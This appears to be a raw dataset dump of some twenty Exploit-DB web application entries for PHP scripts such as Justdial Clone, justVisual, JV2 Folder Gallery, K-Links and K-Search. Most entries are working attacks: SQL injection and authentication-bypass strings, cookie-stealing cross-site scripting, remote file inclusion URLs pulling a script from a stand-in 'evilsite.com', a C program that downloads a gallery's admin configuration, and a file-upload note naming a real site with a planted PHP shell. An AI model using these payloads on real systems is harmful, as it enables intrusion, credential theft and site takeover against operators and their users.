deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42717
Description: Justdial Clone Script - 'fid' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Justdial Clone Script - SQL Injection 
# Dork: N/A
# Date: 14.09.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/z1mt4303451/php-scripts/justdial-clone-script
# Demo: http://74.124.215.220/~jusdil/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/restaurants-details.php?fid=[SQL]
# 
# 46'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Etc..
# # # # #
Exploit-DB #41096
Description: Justdial Clone Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Justdial Clone Script
# Script Buy Now: http://www.popularclones.com/products/Justdial-Directory
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection There are security vulnerabilities.
# # # # #
Exploit-DB #22444
Description: Justice Guestbook 1.3 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-29
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7234/info

A path disclosure vulnerability has been reported for Guestbook. The issue occurs when a request is made to the cfooter.php3 PHP script page.

Access to sensitive filesystem information may aid an attacker in launching further attacks against a target system

http://hostname/jgb_eng_php3/cfooter.php3
Exploit-DB #23386
Description: Justin Hagstrom Auto Directory Index 1.2.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-11-17
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9056/info


It has been reported that Auto Directory Index is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data through the 'dir' parameter, which will then be included in a dynamically generated web page. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Auto Directory Index version 1.2.3 is reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/index.php?dir=<script>malicious_code</script>
Exploit-DB #9308
Description: justVisual 1.2 - 'fs_jVroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-07-30
Author: SirGod

Exploit:
##################################################################################################################
[+] justVisual 1.2 (fs_jVroot) Remote File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
##################################################################################################################

[+] Download : http://www.fh54.de/justVisual/justVisual_1.2.zip

[+] Remote File Inclusion

 - Vulnerable code is everywhere

 - PoC's

   http://127.0.0.1/path/justVisual/sites/site/pages/index.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

   http://127.0.0.1/path/justVisual/sites/test/pages/contact.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

   http://127.0.0.1/path/justVisual/system/pageTemplate.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

   http://127.0.0.1/path/justVisual/system/utilities.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

##################################################################################################################

# milw0rm.com [2009-07-30]
Exploit-DB #11876
Description: justVisual 2.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-25
Author: eidelweiss

Exploit:
#########################################################################
	justVisual 2.0 (index.php) <= LFI Vulnerability
#########################################################################

[+]Title:	justVisual 2.0 (index.php) Local File Vulnerability
[+]Version:	2.0
[+]License:	http://www.gnu.org/copyleft/gpl.html
[+]Download:	http://fh54.de/justVisual/packages/justVisual2.zip
[+]Risk:	Medium
[+]Local:	Yes
[-]Remote:	No

###########################################################
[!]Author:  eidelweiss
[!]Contact: eidelweiss[at]cyberservices[dot]com
[!]Thank`s: sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r)
[!]Special: [D]eal [C]yber - syabilla_putri (miss u) & all my friends
###########################################################

-=[ VULN CODE ]=-

	$selfname=basename($_SERVER['PHP_SELF'],'.php'); 
	if(isset($_GET['p']) && !empty($_GET['p'])) {
		//$selfname=basename($_GET['p'],'.php');
		$selfname=str_replace('.php','',$_GET['p']);


-=[ P0C ]=-

	Http://127.0.0.1/index.php?p=[LFI]

###############################=[E0F]=###################################
Exploit-DB #52089
Description: JUX Real Estate 3.4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2025-03-20
Author: CraCkEr

Exploit:
# Exploit Title: JUX Real Estate 3.4.0 - SQL Injection
# Exploit Author: CraCkEr
# Date: 26/02/2025
# Vendor: JoomlaUX
# Vendor Homepage: https://joomlaux.com/
# Software Link: https://extensions.joomla.org/extension/jux-real-estate/
# Demo Link: http://demo.joomlaux.com/#jux-real-estate
# Tested on: Windows 11 Pro
# Impact: Database Access
# CWE: CWE-89 - CWE-74 - CWE-707
# CVE: CVE-2025-2126
# VDB: VDB-299039


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /extensions/realestate/index.php/properties/list/list-with-sidebar/realties

GET Parameter 'title' is vulnerable to SQLi


---
Parameter: title (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: option=com_jux_real_estate&view=realties&Itemid=148&title='XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z&price_slider_lower=63752&price_slider_upper=400000&area_slider_lower=30&area_slider_upper=400&type_id=2&cat_id=8&country_id=73&locstate=187&beds=1&agent_id=112&baths=1&jp_yearbuilt=&button=Search


## POC:

https://website/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?option=com_jux_real_estate&view=realties&Itemid=148&title=[SQLi]

## Payload:

1'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z



[-] Done
Exploit-DB #3125
Description: JV2 Folder Gallery 3.0 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-01-14
Author: PeTrO

Exploit:
/*
Script Name  :JV2 Folder Gallery
Script site  :www.jv2.net

Discovered by    :SaO 
Exploit Coded by :PeTrO 
Credits To soulreaver,Kuz3y

Compile: Visual C++ or DevC++ 
         

*/

#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{

char gelenveri[1000];
char sendCommand[1000];
int i=0,sayac=0;

WSADATA wsdata;
SOCKET s;
struct hostent *hn;
struct sockaddr_in karsi_addr;
WSAStartup(MAKEWORD(2,0),&wsdata);



if(argc!=3)
{ 
     printf("\t**************************************************************\n"
            "\t*                                                            *\n"
            "\t*                   JV2 Folder Gallery                       *\n"                         
            "\t*        Remote Admin uName and Pass. Exploit by PeTrO       *\n"
            "\t*                                                            *\n"
            "\t*    Usage:exploit targetSite [GalleryPath]                  *\n"
            "\t*    Example:exploit localhost /gallery/                     *\n"
            "\t*                                                            *\n"
            "\t*    Discovered by    :SaO                                   *\n"
            "\t*    Exploit Coded by :PeTrO                                 *\n"
            "\t**************************************************************\n");
     
     exit(1);
}else{
      hn=gethostbyname(argv[1]);
     }

strcpy(sendCommand,"GET ");
strcat(sendCommand,argv[2]);
strcat(sendCommand,"download.php?file=config/gallerysetup.php \n\n");


printf("\n[+]Connecting....");
karsi_addr.sin_family = AF_INET;
karsi_addr.sin_port = htons(80);
karsi_addr.sin_addr =*((struct in_addr *)hn->h_addr);
memset(&(karsi_addr.sin_zero),'\0', 8);
if((s=socket(AF_INET, SOCK_STREAM, 0))==-1 ) //create a socket
{
    printf("\n[-]Socket Error");
    exit(-1);
}

if((connect(s,(struct sockaddr *)&karsi_addr,sizeof(struct sockaddr)))==-1)//connect server
{
    printf("\n[-]Connecting Error");
    exit(-1);
}

printf("\n[+]Sending command\n");
if((send(s,sendCommand,strlen(sendCommand),0))==-1)
{
    printf("\n[-]Sending Error");
    exit(-1);
}

if((recv(s,gelenveri,1000,0))==-1)
{
     printf("\n[-]Receive Error");
     exit(-1);
}

FILE *fp;

fp=fopen("data.txt","w");

for(i=0;sayac!=2;i++)
{
   if(gelenveri[i]==59) sayac++;
   
   printf("%c",gelenveri[i]);
}   
   
fprintf(fp,"%s",gelenveri);
   
WSACleanup();
return 0;
}

// milw0rm.com [2007-01-14]
Exploit-DB #3240
Description: JV2 Folder Gallery 3.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: ThE dE@Th

Exploit:
*******************************************************************************
Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa
ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery_3.0.2
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
********************************************************************************
template.php:-
<?php include $galleryfilesdir."/gallery_footer.php"; ?>
********************************************************************************
ExPlOiT:

http://www.Site.com/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell]

********************************************************************************

# milw0rm.com [2007-01-31]
Exploit-DB #12688
Description: JV2 Folder Gallery 3.1 - 'gallery.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-21
Author: Sn!pEr.S!Te Hacker

Exploit:
# ----------------------oOO---(_)---OOo----------------------- 
# | __ __ |   
# | _____/ /_____ ______/ /_ __ ______ ______ |   
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |   
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |   
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |   
# | Security Sn!pEr.S!Te /____/ 2o1o |   
# ------------------------------------------------------------ 
     Remote File Inclusion Vulnerability
# ----------------------------------------------------------- 
---------------------------------------------------------------- 
JV2 Folder Gallery <==3.1  (gallery.php ) 
  
----------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker #  
# [+] Email : sniper-site@HoTMaiL.coM #  
# [+] T34M Sn!pEr.S!Te Hacker #  
# [+] 21-5-2010 # 
# [+] Script : Image Galleries » JV2 Folder Gallery#
# [+] Download:http://foldergallery.jv2.net/download.php?file=foldergallery_3.1#
# Version: [3.1] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : gallery/gallery.php

http://localhost/gallery/gallery.php?lang_file=[shell.txt ]

htpp://127.0.0.1/gallery/gallery.php?lang_file=[shell.txt ]

iinclude ($lang_file);

line : 113 

web site Favorites my : http://inj3ct0r.com/  & http://www.hack0wn.com/ & http://www.exploit-db.com

==================   Greetz : all my friend   ===================
 * liar * sm Hacker * baby hacker * mAsH3L ALLiL * saleh Hacker * ALhal alsab |
 * ThE DarK * abo badr * aStoorh alqssim * Ramad Hacker * h-ex |
 * yousfe * HitLer.3rb * QAHER ALRAFDE * DjHacker * My Heart * Mr.koka |
Exploit-DB #12732
Description: JV2 Folder Gallery 3.1.1 - 'popup_slideshow.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-24
Author: eidelweiss

Exploit:
-----------------------------------------------------------------------------------
JV2 Folder Gallery 3.1.1 (popup_slideshow.php) Multiple Vulnerability
-----------------------------------------------------------------------------------
Vendor:		www.foldergallery.jv2.net
download:	http://foldergallery.jv2.net/Download/
Author:		eidelweiss
Thank`s:		All Friends & All Hacker`s

-----------------------------------------------------------------------------------

	-=[ Vuln Code ]=-

[-] /path/gallery/gallery/popup_slideshow.php

<?php 
include ("config/gallerysetup.php");
include ("config/galleryconfig.php");
include ("config/file_handling.php");
include ("config/lang/".$language.".php");	// <= 1
include ("theme/".$gallerytheme."/config.php");	// <= 2

-----------------------------------------------------------------------------------

	-=[ P0C ]=-

	http://127.0.0.1/path/gallery/popup_slideshow.php?language= [LFI]%00

	http://127.0.0.1/path/gallery/popup_slideshow.php?gallerytheme= [LFI]%00

	http://127.0.0.1/path/gallery/popup_slideshow.php?gallerytheme= [inj3ct0r shell]

=========================| -=[ E0F ]=- |=========================
Exploit-DB #37672
Description: JW Player - 'logo.link' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-29
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/55199/info

JW Player is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

JW Player 5.10.2295 and prior versions are also vulnerable. 

http://www.example.com/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Exploit-DB #37552
Description: JW Player - 'playerready' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-29
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/54739/info

JW Player is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Note: The vulnerability related to 'logo.link' parameter has been moved to BID 55199 for better documentation. 

http://www.example.com/player.swf?playerready=alert(document.cookie)
Exploit-DB #7500
Description: K&S Shopsysteme - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-17
Author: mNt

Exploit:
## Script Name: Shopsysteme (new version oscommerce)

## Download: http://www.shopsystem-forum.de/product_info.php?cPath=22&products_id=43 (299 euro)  :) 

## Author: mNt

## File Upload Bug

## Google Dork: intext:Powered by K&S Media Concept - Shopsysteme [Powered by K&S Media Concept - Shopsysteme iÃ§in yaklaÅŸÄ±k 32.900 sonuÃ§tan 191 - 200 arasÄ± sonuÃ§lar (0,51 saniye)]

## Use:

http://www.example.com/

after add: /admin/editor/images.php ==> http://www.example.com/admin/editor/images.php

File uploaded php shell

after in url: http://www.example.com/images/upload/mNt.php

Attention: Shell Code Ä°n GIF89;a

## Live demo: http://www.trampleandfetish.de/admin/editor/image.php

## Php Shell Adres: http://www.trampleandfetish.de/images/upload/data.php

## Thanks: DelÄ°DolU, HeDgEs, Scarface, Cih@t, Suskun DÃ¼nyam, Lodos2005, Sabotage

## web Site: www.rootingforced.org || www.rootingforced.com || www.rootingforced.net

# milw0rm.com [2008-12-17]
Exploit-DB #17146
Description: K-Links - Link Directory Script SQL Injection
Type: webapps
Platform: php
Date: 2011-04-11
Author: R3d-D3V!L

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
[~] Tybe: REMOTE SQL iNJECTioN  
[~] Vendor: http://turn-k.net 
[+] Software: K-Links
[+] author: ((R3d-D3v!L))  
[~]  
[+] TEAM: N0W... !AM W0RK!NG AL0NE
[~]  
[?] contact: X[at]hotmail.co.jp  
[-]  
[?] Date: ll.4Pr.2oll   
[?] T!ME: 05:15 am GMT   
[?] Home: .........
[^]    

[?] 
======================================================================================  
#suFFEr Fr0M REMOTE SQL iNJECTioN Vulnerabilities  
======================================================================================  
  
[*] Err0r C0N50L3: 
  
  
http://www.site.com/index.php?req=update_payment&id= EV!L INJECT!ON 
  
  
  
[*] prove of concept =  
  
  http://www.site.com/index.php?req=update_payment&id=-4410+union+all+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44--
 
  
  
Already Tested on Win Xp 
  
[~]-----------------------------{((BLACk-hAT))}------------------------------------------------ 
# ;
# ;
[~] Greetz tO: .................................................................... no one deserved ;
#  
[~]70 ALL ARAB!AN HACKER 3X3PT : .......................................LAM3RZ #  ;
#  
[~] spechial thanks :...................................... no one deserved  # ; 
#  
[?]spechial SupP0RT : ................MY M!ND # �  ;
#  
[?]---> ((R3d D3v!L<---&--->JUPA<---aNd--->Devil ro0t)) #;  
#  
[~]spechial FR!ND:  ........................................no one deserved #;  
#  
[~] !'M 4R48!4N 3XPL0!73R. #;  
#  
[~](>D!R 4ll 0R D!E<) #;  
#  
[~]---------------------------------------------------------------------------------------------
Exploit-DB #6192
Description: k-links directory - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-02
Author: Corwin

Exploit:
================================================================================
|| K-Links Directory SQL-INJECTION, XSS                          
================================================================================

Application: K-Links Directory
------------

Website: http://turn-k.net/k-links
--------

Version: Platinum (All)
--------

About: Script for starting a profitable link directory website offering full-featured directory of resources/links similar to Yahoo-style search engine. Price 79-169$.
------

Googledork: Powered By K-Links Directory
-----------

Demo: http://klinksdemo.com
-----

[ SQL-INJECTION ]

http://host/report/-1[SQL]
http://host/visit.php?id=-1[SQL]
http://host/addreview/-1[SQL]
http://host/refer/-1[SQL]

===>>> Exploit:

http://host/report/-1 union select 1,2,3,concat(a_pass,0x3a,a_user),5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8 from platinum_admins where a_id=1/*


/* Admin Login -  http://host/admin 

Manage Templates => web-shell */


[ PASSIVE XSS  :)  ]

http://host/index.php?req=login&redirect=&login_message=<script>alert()</script>


Author: Corwin
-------                                     
	
Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm.com [2008-08-02]
Exploit-DB #10824
Description: K-Rate - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: e.wiZz

Exploit:
K-Rate SQL Injection Vulnerability


By: e.wiZz!


#### Script site:http://turn-k.net/k-rate


In the wild...

#####################################


####Vulnerability:

SQL Injection in view.php,variable username.
Anyway, all sites i saw which are powered by this script are hosted on Apache,and have
a mod_rewrite enabled,so you need to try this:

http://inthewild/view/admi'n.html

You need to add .html at the end.
Exploit-DB #13993
Description: K-Search - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-22
Author: Sangteamtham

Exploit:
####################################################
# Category: K-Search (SQL/XSS) Multiple Remote Vulnerabilities
# Download: http://turn-k.net/k-search/demo

# Dork: inurl:K-Search, Powered By K-Search
# Author: Sangteamtham [at] hcegroup[dot]net
# Homepage: HCE group - bug-z0ne.info
####################################################

Info:
K-Search provides you a quick and easy way to start your own meta-search
engine and earn money by displaying relevant sponsored results taken from
Pay Per Click feeds or your own sponsors.

Explain:
when you have Sponsors Area Account, then you can edit your site, delelet
your site...

---------------------------------------------------------------------------------------------
SQL Vulnerabilities:

Exploit:

http://localhost//index.php?req=edit&id=999999 And 1=0 UNION SELECT
1,2,group_concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10/*

---------------------------------------------------------------------------------------------
XSS Vulnerabilities:
$words = $wrds = preg_split('/[\W]+?/',$en['term']);
$misspelled = $return = array();

............
$msp = implode(' ',$words);
$msp = str_replace('</b></i> <i><b>',' ',$msp);
$que = implode(' ',$wrds);
$en['spell_corrected'] = '<a

Exploit:

http://localhost/index.php?term="><script>alert(String.fromCharCode(Your
charcode here))<%2Fscript>&sm=Search&source=1&req=search

---------------------------------------------------------------------------------------------
Many SQL here. Check and enjoy yourself
Exploit-DB #26619
Description: K-Search 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15588/info

K-Search is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?term=%23%25%23term%23%25%23&sm=Mekl%E7t&source=1&req=search

/index.php?term=%28%27r0t+checker%27%29&sm=Mekl%E7t&source=1&req=search

/index.php?req=edit&id=[SQL]
/index.php?req=view&act=stat_all&stat=[SQL]
/index.php?req=view&act=status&id=1&stat=[SQL]
/index.php?req=view&act=status&id=[SQL]
/index.php?req=delsite&id=[SQL]
/index.php?req=search&source=[SQL]
Exploit-DB #28544
Description: K2News Management 1.3 - 'Ratings.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-13
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/19994/info

k2News Management is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/index.php?errcode=<script>alert(document.cookie);</script>